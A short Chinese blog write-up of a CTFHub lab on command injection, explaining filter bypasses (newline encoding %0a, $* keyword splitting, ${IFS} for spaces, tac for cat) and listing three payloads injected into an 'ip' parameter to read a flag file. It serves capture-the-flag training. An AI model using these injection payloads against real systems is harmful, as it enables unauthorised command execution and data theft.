RCE-文件包含/综合过滤练习(URL编码绕过,通过%0d%0a绕过;和&,通过$*绕过flag变为fl$*ag,)

一.题目链接:

https://www.ctfhub.com/#/skilltree

二.基础知识

2.1 当几乎全部被过滤的情况下使用什么绕过?

  • 1.:使用回车(\r:%0d)或者换行符(\n:%0a)绕过,这里推荐\n:%0a
      eg:?ip=1%0d%0als#
      核心作用是:回车是将打印头或光标移动到行首,不换行。换行是进行换行
  • 2.:通过$*对关键词进行绕过
      eg:fl$*ag_is_here
      因为$*在执行的过程中会被当作空,所以可以绕过
  • 3.:通过${IFS}对空格进行绕过
  • 4.:通过tac对cat进行绕过

三.开始解题

注意这里要在url输入,因为框内输入会被二次url编码
1.查看源代码,发现对|,\,/,cat,flag,&,;都进行了过滤

2.将这些被过滤的字符都转换为url编码,playload分别如下

?ip=1%0als#

?ip=1%0Acd${IFS}fl$*ag_is_here%0Als

?ip=1%0Acd${IFS}fl$*ag_is_here%0Atac${IFS}fl$*ag_12184264096.php#


3.得到flag

posted @ 2025-04-19 13:18  sun010  阅读(78)  评论(0)    收藏  举报